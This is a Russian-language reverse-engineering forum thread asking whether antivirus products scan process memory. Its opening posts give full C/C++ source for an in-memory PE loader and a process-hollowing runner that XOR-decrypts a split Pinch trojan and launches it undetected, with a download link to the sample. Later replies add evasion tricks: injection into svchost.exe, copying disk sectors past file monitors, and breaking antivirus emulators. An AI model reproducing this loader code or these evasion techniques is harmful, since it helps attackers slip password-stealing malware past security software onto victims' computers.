Сейчас на форуме: Kybyx (+4 невидимых)

 eXeL@B —› Оффтоп —› А проверяют ли антивирусы память?
. 1 . 2 . >>
Посл.ответ Сообщение


Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 09 октября 2013 13:22
· Личное сообщение · #1

В общем, не специалист я в этой области, но меня удивила одна тема.

Взял я в экспериментальных целях образ прекрасно детектящегося любым АВ пинча, написал декриптор и загрузчик. Делается все приблизительно так: загрузчик читает из зашифрованного файла в массив, потом расшифровывает его в памяти. И вот в этот самый момент и проверяется память всех процессов. Авира не находит ничего подозрительного, хотя если посмотреть отладчиком, видно, что в памяти образ пинча, ничем не зашифрованного. Ничего не понимаю. Даже если загрузить вирусняк в память кодом, который ниже, все равно ничего не детектится.

Code:
  1. #include <Windows.h>
  2.  
  3. DWORD GetSectionProtection(DWORD sc)
  4. {
  5.     DWORD dwResult=0;
  6.     if (sc & IMAGE_SCN_MEM_NOT_CACHED)
  7.         dwResult |= PAGE_NOCACHE;
  8.  
  9.     if (sc & IMAGE_SCN_MEM_EXECUTE)
  10.     {
  11.         if (sc & IMAGE_SCN_MEM_READ)
  12.         {
  13.             if (sc & IMAGE_SCN_MEM_WRITE)
  14.                 dwResult |= PAGE_EXECUTE_READWRITE;
  15.             else
  16.                 dwResult |= PAGE_EXECUTE_READ;
  17.         }
  18.         else 
  19.         {
  20.             if (sc & IMAGE_SCN_MEM_WRITE)
  21.                 dwResult |= PAGE_EXECUTE_WRITECOPY;
  22.             else
  23.                 dwResult |= PAGE_EXECUTE;
  24.         }
  25.     }
  26.     else
  27.     {
  28.         if (sc & IMAGE_SCN_MEM_READ)
  29.         {
  30.             if (sc & IMAGE_SCN_MEM_WRITE)
  31.                 dwResult|=PAGE_READWRITE;
  32.             else
  33.                 dwResult|=PAGE_READONLY;
  34.         }
  35.         else 
  36.         {
  37.             if (sc & IMAGE_SCN_MEM_WRITE)
  38.                 dwResult|=PAGE_WRITECOPY;
  39.             else
  40.                 dwResult|=PAGE_NOACCESS;
  41.         }
  42.     }
  43.  
  44.     return dwResult;
  45. }
  46.  
  47.  
  48. inline BOOL IsImportByOrdinal(DWORD ImportDescriptor)
  49. {
  50.     return (ImportDescriptor & IMAGE_ORDINAL_FLAG32)!=0;
  51. }
  52.  
  53. #ifndef MIN
  54. #define MIN(a,b) ((a)<(b)?(a):(b))
  55. #endif
  56.  
  57. //typedef BOOL (WINAPI *pointMAIN)(int , char*);
  58.  
  59. typedef BOOL (WINAPI *pointWINMAIN)(HINSTANCE, HINSTANCE, LPSTR, int);
  60.  
  61.  
  62. HMODULE MemLoadExe(PBYTE data)
  63. {
  64.     IMAGE_FILE_HEADER        *pFileHeader        = NULL;
  65.     IMAGE_OPTIONAL_HEADER    *pOptionalHeader    = NULL;
  66.     IMAGE_SECTION_HEADER    *pSectionHeader        = NULL;
  67.     IMAGE_IMPORT_DESCRIPTOR *pImportDscrtr        = NULL;
  68.     USHORT                    e_lfanew            = *((USHORT*)(data+0x3c));
  69.     PCHAR                    ImageBase            = NULL;
  70.     PCHAR                    SectionBase            = NULL;
  71.  
  72.     
  73.     DWORD dwSize, dwOldProt, ImageBaseDelta;
  74.     int i;
  75.  
  76.     pFileHeader = (IMAGE_FILE_HEADER *)(data+e_lfanew+4);
  77.     pOptionalHeader = (IMAGE_OPTIONAL_HEADER *)(data+e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
  78.  
  79.     if (pOptionalHeader->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC)
  80.         return NULL;
  81.  
  82.     //    Let's try to reserv memory
  83.     ImageBase = (PCHAR)VirtualAlloc(
  84.         (PVOID)pOptionalHeader->ImageBase,
  85.         pOptionalHeader->SizeOfImage,
  86.         MEM_RESERVE,PAGE_NOACCESS);
  87.  
  88.     if(ImageBase==NULL)
  89.     {
  90.         ImageBase=(PCHAR)VirtualAlloc(NULL,
  91.             pOptionalHeader->SizeOfImage,
  92.             MEM_RESERVE,PAGE_NOACCESS);
  93.         if(ImageBase==NULL)
  94.             return NULL;
  95.     }
  96.  
  97.     //    copy the header
  98.     SectionBase=(PCHAR)VirtualAlloc(ImageBase,
  99.         pOptionalHeader->SizeOfHeaders,
  100.         MEM_COMMIT,PAGE_READWRITE);
  101.     memcpy(SectionBase,data,pOptionalHeader->SizeOfHeaders);
  102.     //    Do headers read-only (to be on the safe side)
  103.     VirtualProtect(SectionBase,pOptionalHeader->SizeOfHeaders,PAGE_READONLY,&dwOldProt);
  104.  
  105.     //    find sections ...
  106.     pSectionHeader = (IMAGE_SECTION_HEADER *)(pOptionalHeader+1);
  107.     for (i=0; i<pFileHeader->NumberOfSections; i++)
  108.     {
  109.         SectionBase = (PCHAR)VirtualAlloc(
  110.             ImageBase+pSectionHeader[i].VirtualAddress,
  111.             pSectionHeader[i].Misc.VirtualSize,
  112.             MEM_COMMIT,PAGE_READWRITE);
  113.         if (SectionBase==NULL)
  114.         {
  115.             VirtualFree(ImageBase, 0, MEM_RELEASE);
  116.             return NULL;
  117.         }
  118.         //    ... and copy initialization data
  119.         SectionBase = ImageBase+pSectionHeader[i].VirtualAddress;
  120.         dwSize = MIN(pSectionHeader[i].SizeOfRawData,pSectionHeader[i].Misc.VirtualSize);
  121.         memcpy(SectionBase, data+pSectionHeader[i].PointerToRawData,dwSize);
  122.     }
  123.  
  124.     pImportDscrtr = (IMAGE_IMPORT_DESCRIPTOR *)(ImageBase+
  125.         pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  126.  
  127.     for (;pImportDscrtr->Name!=0; pImportDscrtr++)
  128.     {
  129.         PCHAR pLibName        = (PCHAR)(ImageBase+pImportDscrtr->Name);
  130.         PCHAR pImortName    = NULL;
  131.         HMODULE hLibModule    = LoadLibraryA(pLibName);
  132.         DWORD    *pImport    = NULL,
  133.             *pAddress    = NULL;
  134.         DWORD ProcAddress;
  135.  
  136.         pAddress=(DWORD *)(ImageBase+pImportDscrtr->/*Original*/FirstThunk);
  137.         if (pImportDscrtr->TimeDateStamp==0)
  138.             pImport=(DWORD *)(ImageBase+pImportDscrtr->FirstThunk);
  139.         else
  140.             pImport=(DWORD *)(ImageBase+pImportDscrtr->OriginalFirstThunk);
  141.         for (i=0; pImport[i]!=0; i++)
  142.         {
  143.             if (IsImportByOrdinal(pImport[i]))
  144.                 ProcAddress=(DWORD)GetProcAddress(hLibModule, (PCHAR)(pImport[i]&0xFFFF));
  145.             else  // import by name
  146.             {
  147.                 pImortName=(PCHAR)(ImageBase+(pImport[i])+2);
  148.                 ProcAddress=(DWORD)GetProcAddress(hLibModule, pImortName);
  149.             }
  150.             pAddress[i]=ProcAddress;
  151.         }
  152.     }
  153.  
  154.     //    set section protection
  155.     for (i=0; i<pFileHeader->NumberOfSections; i++)
  156.         VirtualProtect((PVOID)(ImageBase+pSectionHeader[i].VirtualAddress),
  157.         pSectionHeader[i].Misc.VirtualSize,
  158.         GetSectionProtection(pSectionHeader[i].Characteristics),
  159.         &dwOldProt);
  160.  
  161.     //    call MainFunc
  162.     if (pOptionalHeader->AddressOfEntryPoint!=0)
  163.     {
  164.         //pointMAIN pWinMain=(pointMAIN)(ImageBase+pOptionalHeader->AddressOfEntryPoint);
  165.         pointWINMAIN pWinMain=(pointWINMAIN)(ImageBase+pOptionalHeader->AddressOfEntryPoint);
  166.         if (!pWinMain((HINSTANCE)ImageBase, NULL, 0, SW_SHOWNORMAL))
  167.         {
  168.             VirtualFree(ImageBase, 0, MEM_RELEASE);
  169.             return NULL;
  170.         }
  171.     }
  172.  
  173.     return (HMODULE)ImageBase;


-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.




Ранг: 315.1 (мудрец), 631thx
Активность: 0.30.33
Статус: Модератор
CrackLab

Создано: 09 октября 2013 15:16
· Личное сообщение · #2

Crawler пишет:
Авира

Тоже мне антивирусник... ты бы еще Иммунитетом проверял




Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 09 октября 2013 17:55
· Личное сообщение · #3

SReg, да и NOD32 не находит ни фига

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 1131.7 (!!!!), 447thx
Активность: 0.670.2
Статус: Участник

Создано: 09 октября 2013 18:18
· Личное сообщение · #4

Ну, висит тело в памяти, в неисполняемом состоянии. Зачем его проверять? Попробуй так на выполнение запустить.




Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 09 октября 2013 19:12
· Личное сообщение · #5

Gideon Vi пишет:
в неисполняемом состоянии


В том-то и дело, что в исполняемом состоянии. Код, который ниже, использует 2 файла для склейки в памяти. В целом определяться должно как crypt/xpack.gen (если хранится на диске, так и детектится). Но не определяет, даже если форкнуть пинча:

Code:
  1. // PINCH_MAPPER.cpp: определяет точку входа для консольного приложения.
  2. //
  3.  
  4. #include "stdafx.h"
  5. #include <iostream>
  6. #include <fstream>
  7. #include <stdio.h>
  8.  
  9. #include <Windows.h>
  10.  
  11. using namespace std;
  12. long fisize (char *);
  13. long fill_buffer (char *, BYTE *);
  14.  
  15. typedef long int (__stdcall* NtUnmapViewOfSectionF)(HANDLE,PVOID);
  16. NtUnmapViewOfSectionF NtUnmapViewOfSection = (NtUnmapViewOfSectionF)GetProcAddress(LoadLibrary(  L"ntdll.dll"),"NtUnmapViewOfSection");
  17.  
  18. void RunFromMemory(char* pImage)
  19. {
  20.     DWORD dwWritten = 0;
  21.     DWORD dwHeader = 0;
  22.     DWORD dwImageSize = 0;
  23.     DWORD dwSectionCount = 0;
  24.     DWORD dwSectionSize = 0;
  25.     DWORD firstSection = 0;
  26.     DWORD previousProtection = 0;
  27.     DWORD jmpSize = 0;
  28.  
  29.     IMAGE_NT_HEADERS INH;
  30.     IMAGE_DOS_HEADER IDH;
  31.     IMAGE_SECTION_HEADER Sections[1000];
  32.  
  33.     PROCESS_INFORMATION peProcessInformation;
  34.     STARTUPINFO peStartUpInformation;
  35.     CONTEXT pContext;
  36.  
  37.     char* pMemory;
  38.     char* pFile;
  39.     char pPath[MAX_PATH];
  40.          
  41.     // Local Process to be Put in Memory and suspended (Same Exe Here)
  42.         GetModuleFileName(NULL,(LPWCH)pPath,MAX_PATH);
  43.         char* lfMemory;
  44.         int fSize;
  45.                  FILE* pLocalFile = fopen("C:\WINDOWS\NOTEPAD.EXE","rb");
  46.                  if (!pLocalFile) {printf ("ERROR - could not open file!");exit (100500);};
  47.         fseek(pLocalFile,0,SEEK_END);
  48.         fSize = ftell(pLocalFile);
  49.         rewind(pLocalFile);
  50.         lfMemory = (char*)malloc(fSize);
  51.         fread(lfMemory,1,fSize,pLocalFile);
  52.         fclose(pLocalFile);
  53.         memcpy(&IDH,lfMemory,sizeof(IDH));
  54.         memcpy(&INH,(void*)((DWORD)lfMemory+IDH.e_lfanew),sizeof(INH));
  55.         free(lfMemory);
  56.     // Just Grabbing Its ImageBase and SizeOfImage , Thats all we needed from the local process..
  57.     DWORD localImageBase = INH.OptionalHeader.ImageBase;
  58.     DWORD localImageSize = INH.OptionalHeader.SizeOfImage;
  59.  
  60.     memcpy(&IDH,pImage,sizeof(IDH));
  61.     memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH));
  62.          
  63.     dwImageSize = INH.OptionalHeader.SizeOfImage;
  64.     pMemory = (char*)malloc(dwImageSize);
  65.     memset(pMemory,0,dwImageSize);
  66.     pFile = pMemory;
  67.  
  68.     dwHeader = INH.OptionalHeader.SizeOfHeaders;
  69.     firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS));
  70.     memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections);
  71.  
  72.     memcpy(pFile,pImage,dwHeader);
  73.  
  74.     if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0)
  75.         jmpSize = INH.OptionalHeader.SizeOfHeaders;
  76.     else
  77.     {
  78.         jmpSize = INH.OptionalHeader.SizeOfHeaders / INH.OptionalHeader.SectionAlignment;
  79.         jmpSize += 1;
  80.         jmpSize *= INH.OptionalHeader.SectionAlignment;
  81.     }
  82.  
  83.     pFile = (char*)((DWORD)pFile + jmpSize);
  84.  
  85.     for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++)
  86.     {
  87.         jmpSize = 0;
  88.         dwSectionSize = Sections[dwSectionCount].SizeOfRawData;
  89.         memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize);
  90.          
  91.         if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0)
  92.             jmpSize = Sections[dwSectionCount].Misc.VirtualSize;
  93.         else
  94.         {
  95.             jmpSize = Sections[dwSectionCount].Misc.VirtualSize / INH.OptionalHeader.SectionAlignment;
  96.             jmpSize += 1;
  97.             jmpSize *= INH.OptionalHeader.SectionAlignment;
  98.         }
  99.         pFile = (char*)((DWORD)pFile + jmpSize);
  100.     }
  101.  
  102.  
  103.     memset(&peStartUpInformation,0,sizeof(STARTUPINFO));
  104.     memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION));
  105.     memset(&pContext,0,sizeof(CONTEXT));
  106.  
  107.     peStartUpInformation.cb = sizeof(peStartUpInformation);
  108.     if(CreateProcess(NULL,(LPWSTR)pPath,NULL,NULL,0,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation))
  109.     {
  110.         pContext.ContextFlags = CONTEXT_FULL;
  111.         GetThreadContext(peProcessInformation.hThread,&pContext);
  112.         if(INH.OptionalHeader.ImageBase==localImageBase&&INH.OptionalHeader.SizeOfImage<=localImageSize)
  113.             VirtualProtectEx(peProcessInformation.hProcess,(LPVOID)(INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection);
  114.         else
  115.         {
  116.             NtUnmapViewOfSection(peProcessInformation.hProcess,(PVOID)(localImageBase));
  117.                         VirtualAllocEx(peProcessInformation.hProcess,(LPVOID)(INH.OptionalHeader.ImageBase),dwImageSize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  118.         }
  119.         WriteProcessMemory(peProcessInformation.hProcess,(void*)(INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten);
  120.         WriteProcessMemory(peProcessInformation.hProcess,(void*)(pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten);
  121.         pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint;
  122.         SetThreadContext(peProcessInformation.hThread,&pContext);
  123.         VirtualProtectEx(peProcessInformation.hProcess,(void*)(INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0);
  124.         ResumeThread(peProcessInformation.hThread);
  125.     }
  126.     free(pMemory);
  127. }
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134. int _tmain(int argc, _TCHAR* argv[])
  135. {
  136.  
  137.  
  138. //open file
  139.          char *file_to_use = "C:\Users\Isupov\Desktop\virus\Pinch_editor\Pinch_editor\Pinch_Editor\winhlp32.exe";
  140.          char *part1="C:\Users\Isupov\Desktop\virus\Pinch_editor\Pinch_editor\Pinch_Editor\part1.exe";
  141.          char *part2="C:\Users\Isupov\Desktop\virus\Pinch_editor\Pinch_editor\Pinch_Editor\part2.exe";
  142.          
  143.          long size = fisize (part1)+fisize (part2);
  144.                  //"C:\Users\Isupov\Desktop\virus\Pinch_editor\Pinch_editor\Pinch_Editor\pinch_xor_77_add_1";
  145.                  
  146.                  //"C:\Windows\winsxs\x86_microsoft-windows-winhstb_31bf3856ad364e35_6.1.7600.16385_none_28dc647c6aba6742\winhlp32.exe_1";
  147.          //long size = fisize (file_to_use);
  148.          printf ("PINCH SIZE: %d\n",size);
  149.  
  150.          //============ выделяем память
  151.  
  152.          BYTE* ptd;
  153.          ptd = (BYTE *)malloc(size * sizeof(BYTE));
  154.  
  155.          if(ptd != NULL){
  156.                  printf ("MEMORY IS ALLOCATED!\n");
  157.                  //fill_buffer (file_to_use,ptd);
  158.  
  159.                  fill_buffer ("C:\Users\Isupov\Desktop\virus\Pinch_editor\Pinch_editor\Pinch_Editor\part1.exe",ptd);
  160.                  fill_buffer ("C:\Users\Isupov\Desktop\virus\Pinch_editor\Pinch_editor\Pinch_Editor\part2.exe",ptd+9728);
  161.  
  162.                  for (int i=9728;i<size;i++) ptd[i]=(ptd[i]^0x77)-1;
  163.          } else printf("CANNOT ALLOCATE MEMORY!\n");
  164.          
  165.          //for (int i=0; i<40;i++) printf ("%x ", ptd [i]);
  166.          //free(ptd); //9728
  167.  
  168.          //BYTE *z=&ptd[500];
  169.          RunFromMemory((char *)ptd);
  170.          
  171.  
  172.          //============
  173.          getchar ();
  174.          free (ptd);
  175.          return 0;
  176. }
  177.  
  178.  
  179.  
  180. long fisize (char *fname)
  181.  
  182. {
  183.  
  184. FILE *fin;
  185. if (!(fin = fopen(fname, "rb"))) {std::cout << "Binary file is not found!"<<std::endl; return 0;} ;
  186. long size;
  187.  
  188. fseek(fin, 0, SEEK_END);
  189. size = ftell(fin);
  190. fseek(fin, 0, SEEK_SET);
  191. fclose(fin);
  192. return (size);
  193. }
  194.  
  195.  
  196.  
  197. long fill_buffer (char *fname, BYTE * buff)
  198.  
  199. {
  200. long size=fisize (fname);
  201. if (size==0) return 0;
  202.  
  203. FILE *fin;
  204. fin = fopen(fname, "rb");
  205.  
  206. for (int i=0;i<size;i++) fread (&buff [i],sizeof (BYTE),1,fin);
  207. fclose(fin);
  208. return (1);
  209. }


-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 09 октября 2013 19:15 · Поправил: Crawler
· Личное сообщение · #6

Вывод такой: ни нод, ни авира не смотрят, что реально находится в памяти процесса. Или я чего-то не понимаю.

Чтобы было понятнее:

1) Запускаю файл с жесткого диска - детектится

2) Тот же файл режу на 2 куска, склеиваю и запускаю из памяти - не детектится даже после принудительной проверки памяти.

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 1053.6 (!!!!), 1078thx
Активность: 1.060.81
Статус: Участник

Создано: 09 октября 2013 19:27
· Личное сообщение · #7

а что говорит drweb cureit ?
там вроде даже спец опция есть - тест памяти

| Сообщение посчитали полезным: Dr0p


Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 09 октября 2013 19:41
· Личное сообщение · #8

reversecode
Только что проверял, ничего не говорит. Молчит.

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 09 октября 2013 19:44 · Поправил: Crawler
· Личное сообщение · #9

Кому интересно - вот сам файл. Нужно разрезать его по смещению 0x2600 и назвать части "part1.exe" и "part2.exe". Ну, и в коде пути к файлам поправить, соответственно.


61af_09.10.2013_EXELAB.rU.tgz - winhlp32.exe

п.с. запускал под win7 x64

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 158.5 (ветеран), 219thx
Активность: 0.120.01
Статус: Участник

Создано: 09 октября 2013 20:26
· Личное сообщение · #10

Ну вот и спалили уязвимость 0day... Ну и правильно, ибо нефих... К вирусне отношусь крайне отрицательно и воюю с ней периодически на компьютерах пользователей...

-----
One death is a tragedy, one million is a statistic.




Ранг: 419.0 (мудрец), 647thx
Активность: 0.460.51
Статус: Участник
"Тибериумный реверсинг"

Создано: 09 октября 2013 20:32
· Личное сообщение · #11

В продолжение темы: Помнится есть привилегия SE_LOCK_MEMORY_NAME (+AllocateUserPhysicalPages)- можно застолбить место в физической памяти, не привязываясь к определенному процессу. По идеи, это вообще шикарная вещь для мавари или я ошибаюсь?



Ранг: 145.8 (ветеран), 191thx
Активность: 0.140.36
Статус: Участник

Создано: 09 октября 2013 20:46
· Личное сообщение · #12

Crawler
Попробуй заинжектить свой пинч в какой-нибудь системный процесс, типа svchost.exe и запусти проверку. Может так поможет.




Ранг: 324.3 (мудрец), 221thx
Активность: 0.480.37
Статус: Участник

Создано: 10 октября 2013 10:10
· Личное сообщение · #13

Большинство антивирусов при сканировании памяти проверяют только спроецированные на выполнение файлы

-----
IZ.RU





Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 10 октября 2013 10:26
· Личное сообщение · #14

SE_LOCK_MEMORY_NAME, насколько я помню, лочит физическую память и нужна в основном для AWE. К физической памяти без мапинга на виртуальную в какой-то процесс всё равно обратиться не выйдет. Так что профит для малвари сомнителен.



Ранг: 315.1 (мудрец), 631thx
Активность: 0.30.33
Статус: Модератор
CrackLab

Создано: 10 октября 2013 10:30
· Личное сообщение · #15

DenCoder пишет:
только спроецированные на выполнение файлы

есть образ в памяти, есть синги - должен детектиться!
зы. и да откуда инфа кто и когда управление передаст?




Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 10 октября 2013 12:09
· Личное сообщение · #16

SReg, все так и думают, а на практике по-другому)

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 324.3 (мудрец), 221thx
Активность: 0.480.37
Статус: Участник

Создано: 10 октября 2013 12:26 · Поправил: DenCoder
· Личное сообщение · #17

SReg
Это мы думаем, что должен, для антивируса - это не факт. (Здесь же не говорится про проактивную защиту). На этом принципе основана "безопасная" загрузка малварей. 2 года назад ещё попадалась такая техника где-то в инете...

Кстати, второй способ проверки антивируса (большинство так же не среагируют):
Имеем заражённый файл, дектится.
1) Создаём файл размером нашего вируса, заполняем нулями
2) Открываем том (WinHex подойдёт)
3) Копируем сектора из файла вируса в новый

...Файловый монитор (или сканирование в режиме реального времени или ещё как оно называется) прошляпит

-----
IZ.RU





Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 10 октября 2013 14:49
· Личное сообщение · #18

DenCoder, точно, только что попробовал - прошляпил. Видимо, что-то не хучат)

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 324.3 (мудрец), 221thx
Активность: 0.480.37
Статус: Участник

Создано: 10 октября 2013 14:55
· Личное сообщение · #19

На проактивках попробуй, кис, например. Нормальная проактивка должна детектить!

-----
IZ.RU





Ранг: 88.2 (постоянный), 111thx
Активность: 0.070.01
Статус: Участник

Создано: 13 октября 2013 13:09
· Личное сообщение · #20

Слишком жирно будет для аверов еще и всю память процесса чекать =)




Ранг: 72.3 (постоянный), 133thx
Активность: 0.380
Статус: Участник

Создано: 03 декабря 2013 04:46 · Поправил: Dr0p
· Личное сообщение · #21

ELF_7719116

> SE_LOCK_MEMORY_NAME (+AllocateUserPhysicalPages)- можно застолбить место в физической памяти

Интереса не представляет. Сервис обрабатывает только ранее выделенные области, нельзя произвольную память трогать.

По сабжу хз как щас у них, раньше(год два назад) только флай память сканил(из сигнатурных сканеров). Было предложено раскодировать инструкцию по одной и исполнять в буфере. Затем был реализован концепт и мотор(VMBE). Но к такому коду есть неокторые требования, например исполняемый блок не должен содержать в себе данных(микод, динамическая генерация данных, базонезависим), не должно быть колбеков(так как только одна инструкция в памяти). Для колбеков можно создать ожидающую страницу или сегмент(на x86).

Это сугубо теоретические методы, в реале код нужно криптовать. Просто не вижу смысла скрывать один блок.

Crawler

> Авира не находит ничего подозрительного, хотя если посмотреть отладчиком, видно, что в памяти образ пинча

В какой памяти, виртуальной аверской машины ?

Обломилась эмуляция(не помню, там вообще эмуль хоть есть ), вот и не детектит ничего




Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 03 декабря 2013 11:38
· Личное сообщение · #22

Dr0p, тогда обломилась эмуляция заодно у касперыча, др. веба и нода) проверено. Хочешь - повтори опыт)

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 72.3 (постоянный), 133thx
Активность: 0.380
Статус: Участник

Создано: 03 декабря 2013 15:00
· Личное сообщение · #23

Crawler

Ну а с чего вы взяли что вообще был анализ ?

Ну а во вторых эмуляторы говнище, что удивительного что отвалились все не пойму.

> Хочешь - повтори опыт)

Что я там не видел




Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 04 декабря 2013 13:29
· Личное сообщение · #24

Dr0p

Целый файл палят => анализ был. Хотя я не настаиваю, это не так интересно

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 72.3 (постоянный), 133thx
Активность: 0.380
Статус: Участник

Создано: 04 декабря 2013 14:33
· Личное сообщение · #25

Crawler

Значит очевидно - обламывается эмуляция, если дальше просканить тем же флаем то будет детект.




Ранг: 218.9 (наставник), 42thx
Активность: 0.160
Статус: Участник
dotnet

Создано: 05 декабря 2013 16:19
· Личное сообщение · #26

Прости разбираться в твоем сорце нет времени, но или ты пинча запихнул в read\write only память, или ты просто не сможешь запусть в него поток. Попробуй, можешь ли ты запустить код. Даже в своем процессе.

-----
have a nice day





Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 06 декабря 2013 17:31
· Личное сообщение · #27

Nimnul, я же говорю, форкнул пинча, всё работает без проблем.

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 218.9 (наставник), 42thx
Активность: 0.160
Статус: Участник
dotnet

Создано: 13 декабря 2013 17:51
· Личное сообщение · #28

Значит у тебя отключенный DEP. Или у тебя старая винда или ты отключил его сам ;)

-----
have a nice day





Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 23 декабря 2013 17:36
· Личное сообщение · #29

Nimnul, если верить глазам, то включен.

19b9_23.12.2013_EXELAB.rU.tgz - New Bitmap Image.jpg

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 72.3 (постоянный), 133thx
Активность: 0.380
Статус: Участник

Создано: 24 декабря 2013 03:21 · Поправил: Dr0p
· Личное сообщение · #30

Crawler

Во первых DEP технология, затрагивающая множество механизмов. NX память, открываемая динамически, так же как и NXSEH/SAFESEH набором флагов не только налету, но и при старте оси(бутини). Во вторых причём она тут ?

Полагаю тс получил законченный ответ в #21. Частичная эмуляция как универсальный способ обхода AVVM. Берёте VMBE(мотор), описываете критерий в колбеке и получаете профит в виде долгого недетекта, зависящего от этого критерия(предлагаю регистровую раскодировку).

Ну а причину остановки вм в данном случае можно получить либо отладкой вм, либо брутом. Это нельзя угадать и сделать предположение, так как хз что у вм на уме

| Сообщение посчитали полезным: Crawler
. 1 . 2 . >>
 eXeL@B —› Оффтоп —› А проверяют ли антивирусы память?

У вас должно быть 20 пунктов ранга, чтобы оставлять сообщения в этом подфоруме, но у вас только 0

   Для печати Для печати